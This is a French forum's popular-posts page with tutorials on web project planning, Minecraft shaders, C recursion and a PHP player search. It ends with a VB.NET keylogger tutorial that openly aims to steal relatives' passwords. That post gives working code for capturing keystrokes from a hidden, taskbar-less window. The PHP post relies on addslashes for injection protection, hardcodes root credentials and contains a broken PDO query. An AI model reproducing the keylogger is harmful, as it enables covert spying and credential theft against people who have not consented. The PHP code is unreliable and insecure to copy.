Aller au contenu

Leaderboard

Popular Content

Showing content with the highest reputation on 28/04/2014 in all areas

  1. J'ai chercher pour toi ! Source : http://fr.openclassrooms.com/forum/sujet/symfony-2-no-mapping-file-found-named
    2 points
  2. Nous allons nous plonger dans la création complète d’un site web. De la conception jusqu’à la mise en ligne, nous allons explorer chaque aspect de cette aventure. N’hésitez pas à me faire part de vos retours. Ce post est à voir comme une grande introduction à une série de tutoriel consacré à la création de site web. Il ne s’agira pas d’apprendre à programmer, ni à dessiner ou à communiquer. Mais de voir comment conjuguer ses trois aspects dans la création d’un site. Pour la petite histoire, dans mon métier (chef de projet web), j’ai rencontré pas mal de bons programmeurs, quelques bons graphistes et certains communicants plutôt compétents. Ce qui est plus rare, c’est de rencontrer quelqu’un qui maîtrise suffisamment tous ces domaines pour les harmoniser au service du web. Avant de rentrer dans le vif du sujet, je tiens à préciser que j’ai choisie l’ordre des étapes tel qu’il est pour une personne seule. Dans le cas d’un travail à plusieurs, il peut y avoir des choses faîtes en parallèles, mais cela rajoute une dimension : de la gestion de tâches que l’on n’abordera pas ici ! I. Le concept 1. Etablir le concept (Qui ?) Tout commence par une idée. Cette idée doit être la plus clair et complète possible avant d’envisager quoique ce soit d’autre. Un concept de base bien établi repose sur plusieurs points fondamentaux : Il doit permettre de déterminer un public cible Ainsi que déterminer les technologies à utiliser Enfin, permettre de communiquer sur le site Avoir un public cible est essentiel pour ne pas se tromper dans les choix technologies et esthétiques. Exemple d’erreur courante : faire un site à destination d’un public de jeune adulte et ne pas prévoir une compatibilité avec les appareils mobiles. Pour ce le dernier point cité, la raison est simple : établir un concept fourni, réfléchit et maîtrisé c’est pourvoir facilement communiquer sur le sujet et cela évitera de se perdre dans les étapes futurs. Exemple : Un site communautaire à destination des jeunes adultes leurs permettant d’échanger librement leurs idées, savoirs et cultures. L’accent est mis sur l’attrait aux nouvelles technologies d’information et sur l’informatique en générale. 2. Définir les fonctionnalités de base (Quoi ?) Maintenant que l’on sait ce que l’on va faire, nous pouvons réfléchir aux fonctionnalités maîtresses. L’important ici, comme pour l’étape précédente est de bien détailler les fonctionnalités et déjà réfléchir à leurs possibles évolutions. Exemple non détaillé : Forum public / privé Système d’inscription Gestion de profil des membres Préférences des membres Shoutbox Messagerie membre à membre Systèmes de notifications Système de newsletter Système de ranking Système de réputation Système de modération Gestion & Administration 3. Définir les scénarios de navigations (Comment ?) Maintenant nous savons qui va faire quoi. Nous devons donc déterminer comment. Cette étape peut se révélé être très simple comme devenir un véritable casse-tête. Tout dépend de ce que l’on souhaite faire. Il s’agir d’imaginer et de concevoir comment un utilisateur lambda va réaliser des actions et utiliser les fonctionnalités décrites plus haut. Le mieux pour s’organiser est d’écrire des scénarios généraux, puis de détailler chaque fonctionnalité à part. Etablir un nombre important de scénarios permettra de faciliter le design et le développement du site. Cela permet de mettre en évidence quels fonctionnalités / outils / contenus sont à mettre en évidence ou à rendre discret dans certaines situations. Exemples : De n’importe où sur le site : accéder en clic à sa messagerie personnelle. Arriver sur site, consulter un sujet, allez sur la page d’inscription du site, remplir le formulaire et validez. Attendre le mail de confirmation. Activer son compte et consulter sa page de profil. Toutes mes félicitations : votre projet est né ! Il est temps de le baptiser ! II. Le design 1. Définir un thème graphique La première étape de design consiste à définir l’esthétique générale du site. Cette esthétique doit être en adéquation avec le public visé. Par exemple, il faut éviter de choisir un thème gothique pour un magazine d’informations générales pour la ménagère de moins de 50 ans. Plus le public cible est large est varié, moins l’esthétique doit être forte et prononcée. Par contre, si la cible est une catégorie de personnes bien précises, il est quasiment indispensable de marquer l’esthétique. Exemple : un site d’actus pour les geekettes, il doit être un minimum girly et marquer l’appartenance à la technologie. 2. Conceptualiser les étapes des scénarios Grâce à notre thème graphique, nous allons enfin pouvoir mettre en image les fonctionnalités du site. Ici, il s’agit d’établir de manière schématique les différentes actions possibles pour les utilisateurs. 3. Rédiger les principaux textes Il est important de rédiger les textes les plus importants assez tôt ; désignations des boutons, titres des encarts, labels des champs et autres textes de fronts (accueil, messages d’informations, accroches). Ceci pour éviter d’être confronter à des problèmes d’intégrations et de devoir revoir certains concepts ou propriétés ou parce qu’un texte ne rentre pas. Mais si dans l’absolu, tout l’art du webdesigner consiste à concevoir des sites qui s’adapte au contenu, mieux vaux savoir quels seront les impératifs à respecter en termes d’adaptabilité. 4. Faire une maquette graphique Une maquette graphique consiste en une représentation idéaliste du projet de site dans un état donné. C’est-à-dire que vous devez représenter dessus ce qu’un utilisateur pourra voir en prenant un cas particulier. Aujourd’hui, il est souvent nécessaire de faire plusieurs maquettes graphiques des sites. En raison de la grande diversité des supports et notamment de résolutions d’écrans, il faut prévoir à quoi noter site ressemblera sur ces supports. Plus la maquette graphique est détaillée et complète, plus le développement et surtout l’intégration sera facilité. III. Le développement Que votre site soit en PHP, Ruby, ASP ou n’importe quel autre langage. Une bonne conception de site passe par une conception Modèle / Vue / Contrôleur (MVC). Il s’agit de séparer le code définissant les modèles de données, celui effectuant des contrôles et de la gestion sur les modèles et celui dédié à l’affichage et aux interactions avec l’utilisateur. Cette séparation ne doit pas uniquement être physique (dans des fichiers séparés), mais aussi logique (du point de vue de l’exécution du code). Concrètement, le code des modèles, des contrôleurs et des vues ne doivent pas être dépendent les uns des autres. En pratique ça donne quoi ? Pour les modèles : ceux-ci doivent pouvoir être utilisé dans n’importe quel contexte (autres sites, autres environnement) Pour les contrôleurs : ils doivent avoir une exécution ininterrompue. C’est-à-dire qu’ils doivent gérer tous les cas d’erreurs et d’exceptions et fournir une réponse voulue. En clair, ils ne doivent pas planter, même si le code des modèles ou des vues à côté fait n’importe quoi. Pour les vues : ici, le but est d’avoir un affichage indépendant du contexte. A savoir, en fonction du résultat d’un contrôleur, elles doivent toujours offrir un résultat cohérent. 1. Concevoir les modèles de données La première étape de la programmation d’un site consiste à concevoir les modèles de données. Pour faire simple : majoritairement il s’agit de concevoir la base de données qui sera interfacée avec le site. Celle-ci peut s’avérer très simple dans le cas d’un site de type blog (une suite d’article daté). Mais dans le cas de sites offrants des fonctionnalités plus complexes, la conception de la base de données n’est pas à négliger. Que ce soit aux niveaux des performances du site ou de la facilité de maintenance, des modèles bien réfléchis, optimisés et intégré c’est déjà un bon départ pour assurer une longue vie au site. Cette conception ce fait avec un Modèle logique de données (MLD) qui est indépendant d’un langage de programmation. 2. Développer les modèles Une fois la base de données en place, il est temps de passer à la programmation… enfin ! La programmation débute par créer les modèles de données et à les interfacer avec la base de données. Ceci peut être réalisé avec l’aide d’un ORM (Object-Relationnal Mapping) qui permettra de d’interfacer directement les modèles crées avec la base de données. L’avantage d’un ORM est qu’il permet de lier de manière logique les modèles entre eux par des contraintes. Par exemple, un article de blog possède du contenu une date et un auteur. Il s’agit donc d’un modèle, mais un auteur d’article est lui aussi un modèle (pseudo, email, date d’inscription, ….). Un ORM permettra de lier ses modèles en disant, qu’un article est toujours lier à un et un seul auteur. De même un auteur peut avoir aucun, un ou plusieurs articles. 3. Développer les contrôleurs Une fois les modèles en place, il est désormais possible de développer les différents contrôleurs. C’est-à-dire tous ce qui permettra de gérer et de travailler avec les modèles. Un exemple simple en lecture : avoir une liste d’articles de tel auteur trié par date. Le contrôleur va vérifier que les articles sont bien affichable (pas de modération, contenu non masquer, …) et que l’utilisateur à le droit de les consulter (utilisateur non banni, article dans la bonne langue, …). Un autre exemple en écriture : lors de l’inscription d’un utilisateur, vérifier le pseudo, le mot de passe, l’email, …. IV. L’intégration Dans le modèle MVC on a fait le M puis le C, il nous reste donc le V. Les vues, il s’agit donc bien sur des pages vues par les utilisateurs, mais aussi les pages d’administration jusqu’aux résultats de scripts console se lançant directement sur le serveur (même en ASCII ça reste une vue J). 1. Intégrer le design Dans les vues, je conseille de commencer par intégrer le design du site. Cela permet de vérifier assez rapidement que le design convient et de faire des retouches au besoin. Pour bien intégrer un design, il est nécessaire de maîtriser le CSS. Le but de l’intégration est transcrire un dessin en page web dynamique, il va donc falloir traduire des éléments graphiques de base en éléments web. Tout l’art de l’intégration constant à recourir à un minimum d’images et de règles CSS pour un maximum de respect de dessin original. 2. Intégrer les textes Une fois le design en place, vous pouvez insérer dans les pages, tous les textes fixes. Ces textes sont particulièrement importants. Ce sont eux qui vont être repérer en priorité par les moteurs de recherche et également ceux qui vont renseigner les nouveaux utilisateurs sur le site. Bien intégré c’est texte en utilisant tous les moyens possibles (couleurs, gras, italique, taille, …) permet de capter facilement l’attention et d’informer efficacement sans gêner la lecture pour l’utilisateur. Ensuite, vous pouvez vous assurer que les textes dynamiques s’intègre bien dans le design. Notamment les infobulles, les menus, et les principaux titres dynamiques. 3. Intégrer les médias Si votre site comporte des médias riches (animations, sons, vidéos, …), leur intégration doit être particulièrement soignée. En effet, la plupart des utilisateurs trouvent les médias riches envahissants et dérangeants. Donc, les animations doivent rester discrètes, les sons doivent pourvoir facilement être coupés et les vidéos ne devrait pas se déclencher automatiquement. Sauf, dans des cas exceptionnel et évidant, comme une page qui intègre uniquement un lecteur vidéo et une playlist, par exemple. Dans tous les cas, l’accent doit être mis pour mettre en avant l’information recherchée par l’utilisateur. 4. Enrichir l’expérience utilisateur Votre site est presque fini, il ne manque plus que les finitions. Et c’est peut-être là le plus important, tous ces petits détails qui font que l’utilisateur se sente bien, et que les moteurs de recherches lisent correctement les pages. Enrichir un site peut être fait d’une multitude de manière. Parmi les plus « vielles » méthodes : la newsletter, le flux RSS, les notifications en espace membre, etc. Mais il faut penser aussi, aux réseaux sociaux, aux sitemaps, aux micro-données, aux retours participatifs (les utilisateurs eux-mêmes qui enrichissent le contenu), et la liste est longue. Voilà ! Votre site est prêt à être diffusé ! V. La production La mise en production d’un site rassemble toutes les dernières étapes qui ne peuvent être correctement faîtes que si site fonctionne en condition réelle. 1. Mise en ligne Une mise en ligne réussie est une mise en ligne qui ne se voir pas ! Afin d’éviter de crée des erreurs d’entrée de jeu sur votre site, il convient de préparer la mise en ligne. En effet, une mise en ligne prend du temps (configurations, upload, …). C’est un laps de temps ou le site est accessible via son URL mais où il n’est pas totalement prêt à accueillir les visiteurs. Le plus simple est de rediriger l’ensemble du trafic sur une simple page d’explication le temps de la mise en ligne. Le but étant au final de pourvoir activer le site en une seule action brève. 2. Tester le site Une fois en ligne, vous pouvez tester l’ensemble de votre et notamment les fonctionnalités spécifique à une exécution sur un serveur distant. A savoir, les systèmes d’upload, de mailing, ou toute action nécessitant des extensions particulière sur le serveur web. Le mieux étant d’avoir un environnement de développement avec un accès restreint, mais ce n’est pas toujours possible ni forcément nécessaire (dans le cas d’un petit site relativement fixe). 3. Intégrer les ressources externes Ça y est ! Tout fonctionne enfin ! Le dernier coup d’éponge consiste à intégrer toutes les ressources des services extérieurs. Les services de statistiques, comme Google Analytics et New Relic, les services de publicités ou encore l’intégration des réseaux sociaux (de type flux des posts, partage rapide, …). Avec tout ça en place vous êtes on ne peut plus prêt alors c’est parti ! Ouverture du site ! 4. Ouvrir le site Vous pouvez rendre le site accessible au public, et là, il ne faut pas oublier le plus important : prévenir tout le monde ! Si votre site rencontre suffisamment de visiteurs, le travail ne fait que commencer et il faudra maintenir le site et adapter des fonctionnalités et/ou en apporter de nouvelles. Plus vous avez soigné votre création de base et plus la maintenance et l’ajout de fonctionnalité sera facilité. Merci d'avoir suivi jusqu'au bout !
    1 point
  3. Bonjour tout le monde ! Remerciement aux DocteurDread Shaders pour commencer, c'est eux qui m'ont donné envie de me lancer dans les shaders ! Je viens aujourd'hui vous présenter quelque chose d'assez spéciale. Je viens vous présenter ce qu'on appel dans Minecraft un "Shaders". Mais, je ne viens pas vous présenter n'importe lequel Shaders, je viens vous présenter mon Shaders ! I - Quel est le but d'un Shaders ? Un Shaders est une amélioration des graphismes de Minecraft. Enfin, plus précisément, une façon alternative de gérer les ombres de Minecraft ainsi que certains autres aspects qui laissaient à désirer. Ne vous inquiétez pas, je ne parle pas de son aspect cubique. Il vous faut pour commencer une carte graphique décente, la mauvais optimisation de Minecraft assemblé à des graphismes nouveaux qui ne sont pas directement implémenté dans le jeu font rarement bon ménage ! Les Shaders Minecraft ont était inventé et programmé par Sonic ether. La casi' totalité du travail au niveau du lien entre les Shaders et Minecraft viennent de lui, mais également une grande partie du travail sur les Shaders eux même. A l'heure actuel, les Shaders Minecraft ne sont qu'un dérivé fait en OpenGl de ses propres Shaders, car il a laissé la possibilité d'en créer de nouvelles versions. II - Elliotau's Deep Edition Shaders Classic Voici la première édition de mes Shaders. contrairement à d'autres Shaders qui cherchent à donner un effet des plus lumineux au monde cubique de Minecraft, mes Shaders vont chercher à donner un effet plus profond. L'un des meilleurs Moyens que j'ai pu trouvé est une utilisation plus poussé des ombres, une meilleure gestion du soleil via divers procédés ainsi qu'un léger effet de vignette sur l'écran. Vous pourrez également apercevoir que les objets les plus éloignés deviennes de plus en plus flou. A noté que certaines choses ne voient pas sur les Shaders, comme les mouvements de l'eau, des feuilles ou encore de certaines plantes. Vous pouvez également observer que les nuits sont très noirs. C'est en parti voulu. Pour palier à cette nouvelle difficulté de Gameplay, je vais essayer d’augmenter la luminosité des torches dans les versions futur. III - Les différentes versions J'ai créer plusieurs versions. Le but est qu'elle s'adaptent à toutes les formes de configuration ; Elliotau's Deep Edition Shaders Classic : La version de base, la première. Toutes les fonctionnalités de bases sont incluses. Disponible ICI. Elliotau's Deep Edition Shaders Light : La version légère. Elle demande moins de ressources, mais demande en échange le sacrifice des plantes mouvantes ainsi que certaines effets de Flou. Disponible ICI. IV - Les projets Augmentation de la luminosité des torches Revisité la couleur ambiante Recalculé la couleur du soleil Re doser certaines fonctionnalités Réparage de certaines fonctionnalités Re programmer ma propre version des Shaders pour plus de liberté V - L'installation Installer la version 1.7.2 de Forge disponible ICI. Choisissez "Forge" ou "FML" dans la partie de sélection des versions en bas à droite. Lancé Minecraft pour initialiser Forge, puis fermez le. Téléchargez Shaders Mod disponible ICI. Met "ShadersCore.jar" dans le dossier Mods de ton .Minecraft (Disponible dans la barre de recherche Windows avec cette adresse %appdata%\.minecraft\mods) Mettez y également Optifine si vous en avez besoin à cause d'un manque de ressources (Article détaillé disponible ICI. Relance ton Minecraft Il vous faut aller dans "Option" >> "Shaders" >> "Open Shaders Folder" Mettez y DIRECTEMENT le fichier téléchargé Votre Shaders va apparaitre dans l'interface des Shaders de votre Minecraft ! Merci de votre lecture !
    1 point
  4. Bonjour, Savez-vous ce qu'est Project Parfait ? Eh bien, c'est un service en ligne permettant de retrouver et d'extraire toutes les conditions CSS d'un PSD. Il suffit d'uploader son PSD, l'application l'interprète et décompose les calques, puis vous donne les informations CSS. Ce service, encore en béta est plutôt efficace. Je l'ai testé sur un PSD et n'ai pas été déçu. Sans plus attendre, voici le lien : https://projectparfait.adobe.com/ Vous pourrez surement plus vous en passer une fois testé.
    1 point
  5. Mais non, c'est Morsay Bienvenue sinon
    1 point
  6. bienvenue, c'est toi sur la photo ?
    1 point
  7. Pas faux Mais bon, c'est le jeu du hasard et puis ça me fera un nouvel opening, je préfère travailler sur quelque chose de nouveau plutôt que quelque chose que j'ai beaucoup (trop) écouté ^^
    1 point
  8. Bonjour à tous, Nous passons encore à un autre niveau aujourd'hui, et nous allons voir ensemble la Récursivité, et la notion de Stack. I- La récursivité, c'est quoi? La récursivité, c'est un autre moyen de provoquer une "boucle" dans une fonction. C'est totalement différent de ce que je vous ai expliqué avant. Nous avions vu la partie "itérative" du C, qui corresponds à exécuter un programme, ligne par ligne. Ici, nous allons apprendre un peux plus les fonctions de la récursivité, et comment elle réagit sur la stack. C'est une façon de faire, pour qu'une fonction se rappelle elle-même. Prenons l'exemple suivant: int test(int a) { a++; if (a < 12) test(a); return (a); } int main(void) { my_putnbr(test(1));// my_putnbr est une fonction permettant d'afficher une valeur numérique. Vous devez la re-créer ou utiliser printf (ce qui est interdit par la norme! Re-créez la, ça vous apprendra pas mal de choses!) } La fonction "test" est ici récursive. Ce code nous affichera: 12 Vous l'aurez compris, la récursivité peut être utile dans plusieurs cas (pour annecdote, my_putnbr peut être codé en 3 lignes avec de la récursivité). Les fonctions récursives peuvent êtres comparées à des poupées russes s'emboitant. Ne vous perdez pas! Et ne vous inquiétez pas! Je vais mieux vous l'expliquer en vous expliquant le fonctionnement de la stack. II- La stack? DAFUQ? Je vais pouvoir vous expliquer une notion qui est assez floue dans le cerveau de beaucoup de développeurs: la stack. La stack est une mémoire assignée à votre programme pour la prise en charge de tout ce qui est "static" dans votre programme (d'où le nom "stack"). Lors du lancement de votre programme, la stack est vide. Si vous appelez la fonction "test" celle-ci va se rajouter dans la stack. Si, de la fonction "test", vous appelez la fonction "my_putstr" celle-ci va se rajouter dans la stack, de même pour la fonction "my_putchar" contenue dans la fonction "my_putstr" qui fera elle-même appel à la fonction "write" qui se rajoutera à son tour à la stack. La stack a donc constitué une liste d'exécution. On peut re-définir l'ordre d'exécution précédent comme ceci: Il ne faut pas oublier que la stack est une mémoire, et qu'elle va stocker tout ce qui est statique dans notre programme. Donc, si nous la sur-utilisons (une boucle infinie de fonctions par exemple: surempiler les poupées russes), nous risquons de faire segfault (segmentation fault) notre programme (C'est souvent une explication pour les programme qui segfault sans raisons). Lorsqu'une fonction finit son exécution, elle est supprimée de la stack. Pour vous faire un schéma, imaginez un tas de vaisselle: à chaque fois, vous rajoutez une assiette sale sur le tat, et lorsque vous faites la vaiselle, vous enlevez vos assiettes dans l'ordre contraire de celui de l'empilation. Reprenons la théorie: Une fonction récursive est une fonction qui se rappelle elle-même. Elle se rajoute donc sur la stack, puis se rappelle. Elle se rajoute donc encore une fois sur la stack, puis se rappelle...etc... Et là, deux choses peuvent avoir lieu: Soit on atteint la taille maximum de la stack (définie par le système), et on provoque un segfault, sinon, et c'est ce que vous devrez faire la plupart du temps en utilisant les récursifs, vous devez prévoir une condition d'arrêt du rappel de cette fonction, donc à un moment de votre récursivité, vous dites STOP, cette fois je ne me rappelle pas, car mon rôle est terminé. A ce moment là, vous allez libérer la stack de toutes les fonctions que vous avez au préalable ajouté. Le mieux, reste encore de vous montrer un exemple de ce qu'il ne faut pas faire: Créons un programme qui va afficher "hello" indéfiniment: void my_putchar(char c) { write(1, &c, 1); } void fg() { my_putchar('h'); my_putchar('e'); my_putchar('l'); my_putchar('l'); my_putchar('o'); my_putchar('\n'); fg(); } int main(void) { fg(); } Effectivement, on voit "hello" s'afficher plusieurs fois, mais si on laisse tourner notre programme jusqu'à ce que la stack soit remplie, on remarque de notre programme crash, et qu'un segfault est apparu. C'est l'exemple typique de ce que l'on peut attendre au niveau des problèmes liés à la récursivité. Un autre exemple, c'est notre légendaire my_putnbr: void my_put_nbr(int nb) { if (nb <= 9 && nb >= 0) my_putchar(nb + '0'); else { my_put_nbr(nb / 10); my_put_nbr(nb % 10); } } c'est typiquement la bonne utilisation de la récursivité. Voilà, j'espère vous avoir encore aidé au niveau de votre apprentissage avancé du C. Rendez-vous au prochain cours! Cours écrit par AlexMog. Contact: alexmog [at] live [point] fr
    1 point
  9. Au passage, il y a MrKika qui avait poster la map 3.1.2 en français ici : http://melinyel.net/index.php/topic/457-carte-altis-life-traduite/ (J'avais oublié ...)
    1 point
  10. Bonjour à tous, Aujourd’hui je vais vous montrer comment coder un moteur de recherche de base, vous pouvez donc aussi bien améliorer la structure de vos tables que la condition de recherche elle même. Contexte: Le moteur de recherche sert à trouver un joueur et afficher ses statistiques. Structure table: CREATE TABLE `players` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `guild` text NOT NULL, `token` int(11) NOT NULL, PRIMARY KEY (`id`) ) AUTO_INCREMENT=1 ; Le formulaire de recherche (search.php): <form action="./search.php" method="GET"> <label for="name">Nom du joueur</label> <input type="text" name="name"> <input type="submit" value="Rechercher"> </form> Je ne m'attarde pas sur le html vu que c'est un tuto php/my-sql. à la suite du code html vous allons ajouter du php: <table width="100%"> <tr> <th>#</th> <th>Nom</th> <th>Points</th> </tr> <?php $page = 0; if (isset($_GET['name']) { $page = 1; // Page par défaut affichée $np_page = 25; // Nom de résultat par page $name = addslashes($_GET['name']); // suppression faille sql $icxn = mysqli_connect("127.0.0.1", "root", "toor", "game"); //connexion mySQLi // vérification du numéro de la page si elle est indiqué dans l'url en "?page=n" if (isset($_GET['page'])&&is_numeric($_GET['page'])&& $_GET['page']>0&&$_GET['page']<9999999) $page = $_GET['page']; $fourchette = ($page - 1) * $np_page; $iquery = mysqli_query($icxn, "SELECT * FROM `players` WHERE `name` LIKE '%$name%' ORDER BY `name` ASC LIMIT $fourchette, $np_page"); while ($char = mysqli_fetch_array($iquery)) { echo <<<LINE <tr> <td>{$char['id']}</td> <td><b>{$char['name']}</b></td> <td>{$char['token']}</td> </tr> LINE; } } ?> </table> <?php if ($page!=0) { echo "page(s): "; $iquery_count = mysqli_query($icxn, "SELECT * FROM `players` WHERE `name` LIKE '%$name%'"); $count = mysqli_nums_rows($iquery_count); for ($i = 1; $i < $count/$np_page; $i++) { echo '<a href="./search.php?page='.$i.'">'.$i.'</a>&nbsp;'; } } ?> Conseil pour améliorer: -Si la table est beaucoup avec votre moteur faite une colonne de plus où il y a une simplification des caractères (ex: "é" => "e"; "â" => "a"; etc). -Attention aux caractères html utilisiez la fonction strip_tag() ou autre sur ce qui causer des faille xss par exemple si le client peu choisir le nom de son personnage et mettre du code html dedans c'est mort. -Supprimez les caractères "%" et "_" si ils sont présent dans $name et instauré une limite au niveau du nombre de caractères pour la recherche exemple: minimum 4 caractères, pour évites de charger trop de chose. Version pdo pour les gens qui aiment la pdo: <table width="100%"> <tr> <th>#</th> <th>Nom</th> <th>Points</th> </tr> <?php $page = 0; if (isset($_GET['name']) { $page = 1; // Page par défaut affichée $np_page = 25; // Nom de résultat par page $name = $_GET['name']; $cxn = new PDO('mysql:host=127.0.0.1;dbname=game', 'root', 'toor'); //connexion mySQL // vérification du numéro de la page si elle est indiqué dans l'url en "?page=n" if (isset($_GET['page'])&&is_numeric($_GET['page'])&& $_GET['page']>0&&$_GET['page']<9999999) $page = $_GET['page']; $fourchette = ($page - 1) * $np_page; $query = $cxn->prepare("SELECT * FROM players` WHERE `name` LIKE '%:name%' ORDER BY `name` ASC LIMIT :fourchette, :npp"); $query->bindValue(':name', $name, PDO::PARAM_STR); $query->bindValue(':fourchette', $fourchette, PDO::PARAM_INT); $query->bindValue(':npp', $np_page, PDO::PARAM_INT); $query->execute(); while ($char = $query->fetch()) { echo <<<LINE <tr> <td>{$char['id']}</td> <td><b>{$char['name']}</b></td> <td>{$char['token']}</td> </tr> LINE; } } ?> </table> <?php if ($page!=0) { echo "page(s): "; $query_count = $cxn->prepare("SELECT * FROM `players` WHERE `name` LIKE '%:name%'"); $query_count->bindValue(':name', $name, PDO::PARAM_STR); $query_count->execute(); $count = $query_count->rowCount(); for ($i = 1; $i < $count/$np_page; $i++) { echo '<a href="./search.php?page='.$i.'">'.$i.'</a>&nbsp;'; } } ?> Bonne programmation à tous! Cordialement, Mars073
    1 point
  11. Bonjour, je vais vous expliquez comment faire un enregistreur de frappe.^^ pour trouver le mot de passe de votre frère, votre mère, votre grand-père ou votre hamster... Il faut: -1 Form (Config: ShownInTaskbar=False; RightToLeftLayout=True; FormBorderStyle=None; Size=0; 0) -1 Textbox (Config: visible=False) (Ancrer le textbox en fessant un clique sur le petit carré avec un triangle dessus) -2 Timer (Config T1: Enabled=True; Interval=2) (Config T3: Enabled=True; Interval=100) -1 NotifyIcon (Config: Icon=[votre Icône Windows) -1 Icône windows de préférence KDO: un lien vers un site plein d'icône cool: ->Lien<- (lien icone windows) et c'est partit pour le code... u_u double clique sur la form pour afficher le code (oublier pas que il y a les textbox dessus, donc retirez le le temps de mettre le code) et au dessus, donc après Public Class [votre form]: Dim result As Integer Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integeret dans l'handle (le code form_load): Timer1.Start() Timer2.Start() Me.Visible = Falsemaintenant double clique sur le timer1 pour afficher le code et on met dedans : For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then TextBox1.Text = TextBox1.Text + Chr(i) ' on ajout le caractère qui est envoyé par le clavier à la suite de deux déjà capté End If Next iDouble clique sur le NotifyIcon1 pour afficher le code et on met dedans : Me.WindowState = FormWindowState.Normal Me.Height = 300 ' hauteur Me.Width = 300 'largeur Me.ShowInTaskbar = True 'affichage dans la barre de tâche Me.FormBorderStyle = Windows.Forms.FormBorderStyle.Sizable ' style de bords... Me.Visible = True ' si on l'affiche TextBox1.Visible = True ' si on affiche les caractères masqués Me.AllowTransparency = False Me.RightToLeft = Windows.Forms.RightToLeft.Inherit Me.Show() Double clique sur le Timer2 pour afficher le code et on met dedans : If Me.WindowState = FormWindowState.Minimized Then 'on test l'état de la fenêtre Me.Height = 0 'plein de paramètre chiant à expliquer Me.Width = 0 Me.ShowInTaskbar = False Me.FormBorderStyle = Windows.Forms.FormBorderStyle.None Me.Visible = False TextBox1.Visible = False Me.AllowTransparency = True Me.RightToLeft = Windows.Forms.RightToLeft.Inherit 'code by Mars073 End Ifsi vous cliquez sur play pour tester le programme il ne marchera par forcément, il faut le publier... les frappes ne sont pas très facile a lire mais d-quand on clique du effacer, ça ne supprime pas le texte enregistré.^^Et quand on a fini on fait un double clique sur l'icône et le texte enregistré. Bonne programmation à tous! Cordialement, Mars073
    1 point
×
×
  • Créer...